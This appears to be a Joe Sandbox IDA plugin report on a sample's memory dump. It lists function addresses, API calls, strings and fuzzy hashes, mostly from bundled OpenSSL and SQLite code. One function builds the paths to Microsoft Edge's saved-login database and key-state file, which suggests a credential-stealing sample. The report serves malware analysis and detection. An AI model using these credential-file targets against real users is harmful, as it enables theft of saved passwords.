crypto\dso\dso_lib.c, xrefs: 1007FBD5, 1007FC10, 1007FC36, 1007FC45, 1007FC54

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_free$crypto\dso\dso_lib.c
API String ID: 3906573944-418395819
Opcode ID: 21ecb74587c5e4c385dac3f4806e07a3513156a1f96ebf4e5129ebf2a5c286c0
Instruction ID: 065cd6327d4011de37f1ed93ca32338b2f30c6a9041b6eb86a3d7bc06ca6c289
Opcode Fuzzy Hash: 21ecb74587c5e4c385dac3f4806e07a3513156a1f96ebf4e5129ebf2a5c286c0
Instruction Fuzzy Hash: B01108B464060226E120E664ED43FABB6D0EF01750F018A1CFA98F61D3E759F958819E

Function 1005E7C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005E7E7
__fprintf_l.LIBCMT ref: 1005E830

Strings

crypto\user\eng_init.c, xrefs: 1005E7D5, 1005E81D
ENGINE_init, xrefs: 1005E7CE, 1005E816

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: user_init$crypto\user\eng_init.c
API String ID: 3906573944-3809672554
Opcode ID: dc69846b14d03ef005582101b8bf91f4b67f054a02d6cbdd765f80f7baedffb1
Instruction ID: c84e80f59a179ad4c99b524fdc61007b2f17dc32e288f0e7d472587ca8538374
Opcode Fuzzy Hash: dc69846b14d03ef005582101b8bf91f4b67f054a02d6cbdd765f80f7baedffb1
Instruction Fuzzy Hash: 0D113635A4076127D254E728BC02B9732C5EF82754F150024FA8CD61D2EB66F809D5A6

Function 10089510 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,00000000), ref: 1008953B
CertGetCertificateContextProperty.CRYPT32(00000000,0000000B,00000000,?), ref: 1008956A

Strings

capi_cert_get_fname, xrefs: 1008951C
users\e_capi.c, xrefs: 1008954A, 1008957F, 1008959A, 100895B2

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertCertificateContextProperty
String ID: capi_cert_get_fname$users\e_capi.c
API String ID: 665277682-4048789269
Opcode ID: 5b2ebe061121ee703883488d800abf29534d9c273eb6069396e7ef5884a9cb72
Instruction ID: a6e7bfe5bd1ff55f0bd941fce27b6c450cdf5e37aca7d7d1dc84a8816b34ca63
Opcode Fuzzy Hash: 5b2ebe061121ee703883488d800abf29534d9c273eb6069396e7ef5884a9cb72
Instruction Fuzzy Hash: BD016D39B407113AD711E7656D06F6F27A8EFC1B43F040426F705B60D2EF50F6258665

Function 10078010 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078037
__fprintf_l.LIBCMT ref: 10078069

Strings

crypto\conf\conf_lib.c, xrefs: 10078027, 10078059
NCONF_get_section, xrefs: 1007801D, 1007804F

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_get_section$crypto\conf\conf_lib.c
API String ID: 3906573944-2868297792
Opcode ID: 99c1a175b634e38290d8d9f2085bb521873e02fae93a494947c119051aad92ab
Instruction ID: 1fa48d7512b77c670575d050d79993fa02f3ba977008ce39087b9035433cde7c
Opcode Fuzzy Hash: 99c1a175b634e38290d8d9f2085bb521873e02fae93a494947c119051aad92ab
Instruction Fuzzy Hash: 96118274744302AAD604DB74DC86B2E73D0EF41740F41892CB58CEA281EBA4E928D757

Function 1007FA30 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FA5A
__fprintf_l.LIBCMT ref: 1007FA93

Strings

crypto\dso\dso_lib.c, xrefs: 1007FA47, 1007FA84, 1007FAC5
DSO_convert_filename, xrefs: 1007FA3D, 1007FA7A

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_convert_filename$crypto\dso\dso_lib.c
API String ID: 3906573944-3954627291
Opcode ID: 383fa81f041f29b1c3d8cdeaec76657b93178863ad4a68d3dba93c0606af5614
Instruction ID: 25f376fc9c6980276d2024a2621753e0919d2c248a13b9364e9802f72aa6553c
Opcode Fuzzy Hash: 383fa81f041f29b1c3d8cdeaec76657b93178863ad4a68d3dba93c0606af5614
Instruction Fuzzy Hash: 470122B0B4025332D600F6207C02FA726C4DF01B44F06C65CFA9CFA183E754ED01809B

Function 1007FAE0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007FB0A

Strings

crypto\dso\dso_lib.c, xrefs: 1007FAF7, 1007FB51
DSO_ctrl, xrefs: 1007FAED, 1007FB47

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: DSO_ctrl$crypto\dso\dso_lib.c
API String ID: 3906573944-794550828
Opcode ID: 3ad46b3bed13990e08d39b71ef190cc4be19f8c7f87ab7bf42677622f138b4ed
Instruction ID: cc5e0198732c357769b123e27f023cf95661ec81a848dc43ba19508087268051
Opcode Fuzzy Hash: 3ad46b3bed13990e08d39b71ef190cc4be19f8c7f87ab7bf42677622f138b4ed
Instruction Fuzzy Hash: 93018074B402016BDA00EE34DD56B2AB6D0EB81760F54CA5CB198DA6D2E775E801950A

Function 100720F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,00000000,?,?,00000000), ref: 1007212F
__fprintf_l.LIBCMT ref: 10072158

Strings

crypto\asn1\evp_asn1.c, xrefs: 10072148
ASN1_TYPE_get_octetstring, xrefs: 10072141

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_lmemmove
String ID: ASN1_TYPE_get_octetstring$crypto\asn1\evp_asn1.c
API String ID: 58337479-811274528
Opcode ID: 328dec81d64dd71ace8cd4cfb7cc298a3755c0ed001f0de3fc7daad521d0252f
Instruction ID: 3aa5051f9afec4d3bc819dbb61aa3ff30735e1cc7bf3f5ea0d5dcd99bb00e0ec
Opcode Fuzzy Hash: 328dec81d64dd71ace8cd4cfb7cc298a3755c0ed001f0de3fc7daad521d0252f
Instruction Fuzzy Hash: 76F04C34B0030266D910D5386C06F5772D9EF91A50F014A19F998E7282EE64FC45C7A5

Function 10294860 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 10294460: GetModuleHandleA.KERNEL32(ntdll,RtlVerifyVersionInfo), ref: 1029448E
Part of subcall function 10294460: GetProcAddress.KERNEL32(00000000), ref: 10294495

Part of subcall function 10262960: GetModuleHandleW.KERNEL32(kernel32,?,?,secur32.dll,1029488D,secur32.dll,00000004,00000000,00000000,00000002,00000002,10262B96), ref: 1026296A

GetProcAddress.KERNEL32(00000000,InitSecurityInterfaceW), ref: 1029489F

Strings

secur32.dll, xrefs: 1029487F, 10294887
InitSecurityInterfaceW, xrefs: 10294899
security.dll, xrefs: 1029487A

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitSecurityInterfaceW$secur32.dll$security.dll
API String ID: 1646373207-1950755585
Opcode ID: fd2ce32c6256caf68c984936289541426e27994b095f20dc348b169771c86555
Instruction ID: 58bfc08b7617e756a492350ba64bd30736bb9fc24e8b4a017a2569cffe49cde3
Opcode Fuzzy Hash: fd2ce32c6256caf68c984936289541426e27994b095f20dc348b169771c86555
Instruction Fuzzy Hash: 35F0A760B003525EFF158B344C8AF2A22C4EBC2745FA08038B90AEA1C1EE34CC108A00

Function 1004B59E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(1033A4A0,00000000,00000000,?,?,?,1004E8DA,?,?), ref: 1004B5AF

Part of subcall function 10050C20: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,1004E8C5,?,00000000,1004E8C5,?,102A6652,?,1004E8C5,?,?), ref: 10050C4F

CoTaskMemFree.OLE32(?,?,?,?,?,?,1004E8DA,?,?), ref: 1004B5EB

Strings

%ls\Microsoft\Edge\User Data\Local State, xrefs: 1004B5BB
%ls\Microsoft\Edge\User Data\Default\Login Data, xrefs: 1004B5D3

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: FolderFreeKnownPathTask__stdio_common_vsprintf
String ID: %ls\Microsoft\Edge\User Data\Default\Login Data$%ls\Microsoft\Edge\User Data\Local State
API String ID: 3618081814-1869849198
Opcode ID: 9504113eba6876045dad917c33a3544a757675f62d5224b25ede6bc1876f1990
Instruction ID: 46fa64b486fd8ffff53582dba56c84818195d9d8dc345719f34993d6215e0984
Opcode Fuzzy Hash: 9504113eba6876045dad917c33a3544a757675f62d5224b25ede6bc1876f1990
Instruction Fuzzy Hash: 20F0E579800108F7DB11DB918C4BFDDBA29DB45718F300060F611B48A3DFB27B60A608

Function 100C7D80 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100C7DAA
__fprintf_l.LIBCMT ref: 100C7DDB

Strings

X509_PUBKEY_get0, xrefs: 100C7D8D, 100C7DC1
crypto\x509\x_pubkey.c, xrefs: 100C7D97, 100C7DCB

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: X509_PUBKEY_get0$crypto\x509\x_pubkey.c
API String ID: 3906573944-1797475829
Opcode ID: 0ecea10ec7a0f05efcca0756eb81e81766ae1fdd753ed36c926e3cfc3a2585b5
Instruction ID: f7b9f33376345ef5caac3aa4353402b9afce81f032aad2af798ca925d666201f
Opcode Fuzzy Hash: 0ecea10ec7a0f05efcca0756eb81e81766ae1fdd753ed36c926e3cfc3a2585b5
Instruction Fuzzy Hash: 0BE01AB87C024171E110EA756C4BF5EA2E4EF00B49F858484FB4DFD1C7EA90B854A06B

Function 10082480 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,100674A0,?,?,crypto\threads_win.c,000000B7,?,10078EA2,1006F75D), ref: 1008248F
CloseHandle.KERNEL32(?,?,?,100674A0,?,?,crypto\threads_win.c,000000B7,?,10078EA2,1006F75D), ref: 10082498
DeleteCriticalSection.KERNEL32(00000000,?,?,100674A0,?,?,crypto\threads_win.c,000000B7,?,10078EA2,1006F75D), ref: 100824A5

Strings

crypto\thread\arch\thread_win.c, xrefs: 100824B0, 100824C1

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CloseHandle$CriticalDeleteSection
String ID: crypto\thread\arch\thread_win.c
API String ID: 2166061224-2915021490
Opcode ID: 5e642a934d3ff75d0768e39fd40e585f4f7d019ec31317be0982d64b8d5194dc
Instruction ID: 1981e422d8913011c4a05db6e89fa35ac30165971ed8108a30577347046c023a
Opcode Fuzzy Hash: 5e642a934d3ff75d0768e39fd40e585f4f7d019ec31317be0982d64b8d5194dc
Instruction Fuzzy Hash: B6F0A979000622EBD740CF99CC8CB4AFBB9FF98700F108205F10A96261DB72A4A08B20

Function 101A90E0 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 380COMMON

Download Yara Rule

Strings

database corruption, xrefs: 101A9116, 101A916D
96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101A910C, 101A9163
%s at line %d of [%.10s], xrefs: 101A911B, 101A9172

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 0-3771113395
Opcode ID: fb061cd437c6e30c5b2088033b3d9d286152a7b5f1892e908e282e5a70e1fe0f
Instruction ID: ab05739a8110a62f3e96cf7e42eb3dfd38ca1bb911c04076614063b66d45c770
Opcode Fuzzy Hash: fb061cd437c6e30c5b2088033b3d9d286152a7b5f1892e908e282e5a70e1fe0f
Instruction Fuzzy Hash: 3AD18BB9A08342DFC704CF69C980A5AB7E6FF88254F44496EF94997300E735ED85CB92

Function 101AC530 Relevance: 6.2, APIs: 4, Instructions: 158COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101AC5BD
__allrem.LIBCMT ref: 101AC667
__allrem.LIBCMT ref: 101AC681
memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,00000000,101D2B6D,?,8591EBC0), ref: 101AC690

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __allrem$Unothrow_t@std@@@__ehfuncinfo$??2@memmove
String ID:
API String ID: 3210602496-0
Opcode ID: db4b2e1f5e7f51f3ef9ef8c283ce004515479d6cf86b5ceb4ddf3cf7574e988e
Instruction ID: 36ecd0dd91c3f1d4aa3fdee063f4887e90898ade1f13529f262bead520368931
Opcode Fuzzy Hash: db4b2e1f5e7f51f3ef9ef8c283ce004515479d6cf86b5ceb4ddf3cf7574e988e
Instruction Fuzzy Hash: 2D5156B9A08344DFC300CF68C980A2AB7E5FF89694F165969F888DB311D735EC51CB92

Function 102A0961 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 102A09AE

Part of subcall function 102A1BF0: InitializeSListHead.KERNEL32(10348068,102A09B8,1033F380,00000010,102A0949,?,?,?,102A0B71,?,00000001,?,?,00000001,?,1033F3C8), ref: 102A1BF5

_initterm_e.API-MS-WIN-CRT-RUNTIME-L1-1-0(102A6638,102A663C,1033F380,00000010,102A0949,?,?,?,102A0B71,?,00000001,?,?,00000001,?,1033F3C8), ref: 102A09C7
_initterm.API-MS-WIN-CRT-RUNTIME-L1-1-0(102A662C,102A6634,1033F380,00000010,102A0949,?,?,?,102A0B71,?,00000001,?,?,00000001,?,1033F3C8), ref: 102A09E5
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 102A0A18

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image_initterm_initterm_e
String ID:
API String ID: 590286634-0
Opcode ID: f537562b9d85a78dc7b49c442da1b63a2115d62fdd56e4ce14021bab2911d39e
Instruction ID: 5de1eca878536d8e5ea0e306568bc7f94eca37948693d560b775c65473db4423
Opcode Fuzzy Hash: f537562b9d85a78dc7b49c442da1b63a2115d62fdd56e4ce14021bab2911d39e
Instruction Fuzzy Hash: 5E21013A684312DADB24EFB888463CD3765DF567F4F300446F9856ADC2CF292864CA16

Function 10235D70 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,00000000,?,-000000DF,?,-000000DF,?), ref: 10235DB6

Strings

database corruption, xrefs: 10235E2C
96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 10235E22
%s at line %d of [%.10s], xrefs: 10235E31

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 2221118986-3771113395
Opcode ID: 552f05f29ae0568afd2a88cdf230ba0eb4c49e79eb26337638c1b04a0255dc83
Instruction ID: 84ff53d15120454d633540a335d27324d7f56dbb2aba56a01d847a58202c907d
Opcode Fuzzy Hash: 552f05f29ae0568afd2a88cdf230ba0eb4c49e79eb26337638c1b04a0255dc83
Instruction Fuzzy Hash: 282102B6A042166BC310EE08EC01AAB73E8EF98711F46443DFC49DB250D771E9298792

Function 1005005B Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 1004FEC3: ?rdbuf@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140 ref: 1004FEE7

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,C86DC458,1004C26B,1004C26B,?,102A52E2,000000FF,?,1004EACC,1004C26B), ref: 1005009C
?tie@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QBEPAV?$basic_ostream@_WU?$char_traits@_W@std@@@2@XZ.MSVCP140(?,1004EACC,1004C26B), ref: 100500BD

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: U?$char_traits@_$W@std@@@2@W@std@@@std@@$?good@ios_base@std@@?rdbuf@?$basic_ios@_?tie@?$basic_ios@_V?$basic_ostream@_V?$basic_streambuf@_
String ID:
API String ID: 3565126476-0
Opcode ID: cb2ad622213958db13fcae003741d9ee30e0c709c301d4b8aa8a8b7f02fd354d
Instruction ID: 08510924d585313050e2dc5340ff8f55f9ce14914b6339672542b1d294f3804b
Opcode Fuzzy Hash: cb2ad622213958db13fcae003741d9ee30e0c709c301d4b8aa8a8b7f02fd354d
Instruction Fuzzy Hash: E321077460465ADFCB15CF58C988BADBBB1FF49354F108159F8169B3A1CB31E944CB50

Function 10252FC0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?), ref: 10252FD3
__alldvrm.LIBCMT ref: 10252FED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10253014
GetTickCount.KERNEL32 ref: 10253031

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CountCounterPerformanceQueryTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 1296068966-0
Opcode ID: 9d2ce926a892cee50a0a4a59ed5f95ddb3582d0535c63281158d544dfbce18b2
Instruction ID: d1301be1c6e741209a1cc7f677b6d642dc18cbfe4cb8f5850abe122e69ecd680
Opcode Fuzzy Hash: 9d2ce926a892cee50a0a4a59ed5f95ddb3582d0535c63281158d544dfbce18b2
Instruction Fuzzy Hash: A711A075504306AFCB48DF69EC86A6AFFE9EBC8310F508529F108CA260DA31A858DB55

Function 102A086C Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1004EEEF,00001000,1004FBE3), ref: 102A0874
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1004EEEF,00001000,1004FBE3), ref: 102A0881
_CxxThrowException.VCRUNTIME140(?,1033F404), ref: 102A1B35
_CxxThrowException.VCRUNTIME140(?,1033F1D4), ref: 102A1B52

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmalloc
String ID:
API String ID: 4113974480-0
Opcode ID: 9698853d0f9c2d16c04a69b15d03f070bceff3b9c1bc64cca1af473340633cd1
